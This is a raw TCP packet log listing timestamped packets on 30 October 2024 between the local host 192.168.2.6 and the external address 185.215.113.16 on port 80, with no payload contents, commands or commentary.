Oct 30, 2024 05:25:12.665409088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665460110 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.665533066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665575027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.665589094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665599108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665632963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.665849924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665898085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.665914059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665951967 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.666026115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.666066885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.666079044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.666090012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.666121960 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.666140079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.666150093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.666161060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.666169882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.666176081 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.666210890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.667073011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.667146921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.711000919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.711011887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.711021900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.711075068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.711101055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.742032051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742042065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742052078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742115974 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.742182016 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742225885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.742245913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742288113 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.742357969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742367983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742377996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742388964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742398977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.742434025 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.742846012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742856979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742867947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.742888927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.742919922 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.743216991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.743227005 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.743237019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.743247032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.743262053 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.743267059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.743283033 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.743300915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.775369883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.775377989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.775429964 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.775533915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.775542974 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.775629997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.782398939 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.782416105 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.782455921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.782474995 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.782551050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.782561064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.782572031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.782598972 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.782610893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.782618046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.782627106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.782644033 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.782660961 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.783133984 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783173084 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.783220053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783231020 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783241987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783252001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783258915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.783287048 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.783755064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783804893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.783814907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783827066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783843994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783857107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.783864021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.783885002 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.783921003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.824840069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.824850082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.824865103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.824892044 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.824925900 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.859694958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.859713078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.859723091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.859729052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.859740019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.859752893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.859760046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.859778881 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.859814882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.860127926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860137939 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860148907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860158920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860174894 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.860204935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.860558987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860570908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860582113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860599041 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.860606909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860618114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860627890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.860635996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.860690117 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.861358881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.861370087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.861378908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.861398935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.861417055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.893621922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.893632889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.893646955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.893683910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.893718958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.899960995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.899971962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.899982929 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.900032997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.900053024 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.900103092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.900113106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.900122881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.900147915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.900165081 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.901444912 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.901494980 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.901622057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.901631117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.901642084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.901653051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.901664019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.901688099 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.901714087 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.901768923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.901814938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.902116060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.902127028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.902165890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.902297974 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.902307987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.902318001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.902328968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.902340889 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.902390003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.903017998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.903027058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.903070927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.943137884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.943152905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.943162918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.943173885 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.943185091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.943619967 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.943681955 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.977221012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977233887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977246046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977274895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.977292061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.977303028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977313995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977325916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977335930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.977343082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977365017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.977391005 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.977757931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977766037 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977802038 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.977933884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977943897 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977952957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.977977037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.977993011 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.978269100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.978279114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.978301048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.978312016 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.978317022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.978329897 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.978337049 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.978390932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.978893995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.978904963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.978914976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.978931904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.978959084 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.010402918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.010416985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.010468960 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.010514975 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017432928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017453909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017477036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017492056 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017492056 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017621040 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017635107 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017668962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017680883 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017688036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017709970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017721891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017786026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017797947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017807961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017815113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.017862082 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017908096 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.017952919 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.018465042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.018522978 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.018536091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.018556118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.018567085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.018589020 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.018589020 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.018610954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.018621922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.018630981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.018682003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.018682003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.019048929 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.019099951 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.019150019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.019160986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.019172907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.019185066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.019233942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.019233942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.019233942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.060061932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.060081959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.060091972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.060177088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.060204983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.094631910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094703913 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.094724894 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094737053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094748020 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094772100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.094820976 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.094839096 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094850063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094887018 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.094913006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094924927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094932079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.094942093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.094981909 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.094981909 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.094981909 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.095371008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095417976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095431089 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.095462084 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.095554113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095570087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095582008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095599890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.095640898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095654964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095660925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.095671892 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095684052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095700026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.095707893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.095707893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.095724106 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.095760107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.096579075 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.096589088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.096600056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.096637011 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.096647978 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.134972095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.134983063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.134991884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135081053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135090113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135162115 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.135162115 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.135209084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135216951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135288000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.135334015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135354042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135364056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135412931 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.135412931 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.135639906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135649920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135659933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135669947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.135708094 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.135708094 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.135816097 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.136066914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136076927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136086941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136096001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136113882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.136159897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.136441946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136493921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136504889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136523008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.136555910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.136555910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.136564970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136574030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136584044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136595011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136605024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.136611938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.136662960 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.136662960 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.177587032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.177597046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.177607059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:13.177661896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:13.177695036 CET	49993	80	192.168.2.6	185.215.113.16
